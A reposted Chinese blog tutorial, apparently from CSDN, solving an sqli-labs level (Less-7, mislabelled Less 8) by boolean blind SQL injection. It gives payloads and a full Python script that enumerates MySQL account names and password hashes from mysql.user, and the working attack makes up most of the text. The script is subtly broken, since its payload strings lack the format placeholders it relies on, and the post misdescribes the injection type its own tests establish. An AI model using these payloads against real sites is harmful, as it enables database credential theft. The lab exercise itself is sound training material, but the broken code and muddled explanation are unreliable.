感谢Python,让我又在同学面前装了一次逼

Posted 士别三日wyx

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了感谢Python,让我又在同学面前装了一次逼相关的知识,希望对你有一定的参考价值。

「作者主页」:士别三日wyx
「作者简介」:CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者

前段时间,有个学网安的同学找到我要菜刀(一种后门连接工具)。
我问他怎么了,要干啥?
他说sqllib第七关需要上传木马文件,用菜刀连接。
我很懵逼,这一关我做过,不需要用菜刀,用的盲注。
他不服气,给我扔来截图,说人家题目就是让写入文件。

“你在教我做事?”,我向来不喜欢按规矩做事,直接怼了回去,接着把盲注的Python脚本甩到他“脸上”。
虽然他好长时间没理我,但我知道,这次又是我赢了,我已经赢他太多了。

Less 8

一、功能分析

简单分析一下网站的功能,大致如下:
需要用户输入参数id,后台会根据输入的id查询用户信息。
如果查询到用户信息,则显示查询成功,比如 输入 ?id=1

如果查询不到用户信息,则显示出错,比如 输入 ?id=0(用户的id不能是0或负数,id为0会导致后台查询不到用户信息)

如果后台报错,同样显示出错,比如 输入 ?id=1’(在参数中携带单/双引号,会导致后台数据库报错,前提是后台代码未过滤引号)

二、思路分析

前端页面不显示动态的用户信息(没有显示位),不适合联合注入。
不显示数据库的报错信息(显示错误,但错误是人为写死的,不是数据库本身的错误),不适合报错注入。
只有成功和失败两种情况,推荐使用布尔盲注。
备注:出题者的意图是写入文件,网上已经有很多写入文件的教程,本篇文章使用布尔盲注猜解数据库。

三、实现步骤

1)判断注入点

输入 ?id=1’,页面异常显示(提示错误),初步判断注入点是单引号字符型注入。

输入 ?id=1",页面正常显示(查询成功),说明双引号不会改变SQL的语法结构,可以确定注入点就是单引号字符型注入。

输入 ?id=1’ and 1 – a,使用万能账号验证注入点,异常显示。

添加括号继续尝试,输入 ?id=1’) and 1 – a,仍然异常显示。

继续添加括号尝试,输入 ?id=1’)) and 1 – a,页面正常显示。

改变SQL的恒成立性,进行验证,输入 ?id=1’)) and 0 – a,页面异常显示。

由此可以验证上述观点,网站的注入点类型为:单引号+双引号的字符型注入。

2)判断长度

mysql的默认数据库 mysql 中,有一个 user 表,该表存放数据库的用户信息,查询 user 表,可以获取数据库用户的账号和密码。
SQL:select group_concat(user,password) from mysql.user
页面不能显示具体的查询数据,我们可以使用猜解的方式来判断具体的数据,首先,我们猜解长度。假设用户名的长度大于1个字符,payload如下:

?id=1')) and length(
	(select group_concat(user,password)
	from mysql.user)
)>1 -- a

用户名的长度肯定是大于1个字符,因此页面正常显示。

我们再假设用户名的长度小于1个字符,payload如下:

?id=1')) and length(
	(select group_concat(user,password)
	from mysql.user)
)<1 -- a

用户名的长度肯定不会小于1个字符,因此页面异常显示。

由此可以判断,长度验证payload可以正常使用,接下来,我们假设用户名的长度等于1个字符,并由1开始递增,页面异常显示表示长度不对,页面正常显示表示长度正确,payload如下:

?id=1')) and length(
	(select group_concat(user,password)
	from mysql.user)
)=1 -- a

手动猜解比较麻烦,这里我们借助Python进行自动化测试,脚本如下:

import requests

# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
	                (select group_concat(user,password)
	                from mysql.user)
                )=n -- a"""
# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in.... Use outfile......' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增           

# 开始猜解
getLength(url, payload_len)

猜解长度为42,运行结果如下:

3)枚举字符

长度确定之后,我们利用ASCLL码表枚举每个字符的可能性。
ASCLL码表总共127个字符(可输入的字符范围是32~126),我们将每个字符转换成ASCLL码,由32开始枚举判断,递增至126,页面异常显示表示猜测错误,页面正常显示表示猜测正确。
手动枚举比较麻烦,这里我们使用Python自动化验证,脚本如下:

import requests

# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(substr(
                    (select group_concat(user,password)
                    from mysql.user)
                ,n,1))=r -- a"""

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in.... Use outfile......' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
getStr(url, payload_str, 42)

成功猜解数据库用户的账号和密码,执行结果如下:

3)完成脚本如下

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://e21fc2f5edd94958b95f5fe006dc8331.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
	                (select group_concat(user,password)
	                from mysql.user)
                )=n -- a"""
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(substr(
                    (select group_concat(user,password)
                    from mysql.user)
                ,n,1))=r -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in.... Use outfile......' in response.text:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in.... Use outfile......' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

感谢你的点赞、收藏、评论,我是三日,祝你幸福。

以上是关于感谢Python,让我又在同学面前装了一次逼的主要内容,如果未能解决你的问题,请参考以下文章

第一次在领导面前大哭

NOIP2017游记

2019年秋软件工程“领跑衫”获奖感言

CE修改器修改DNF 测试视频 阿修罗提升智力增加攻击力

几个让我印象深刻的面试题

大数据面前,纭纭人生多“俗”人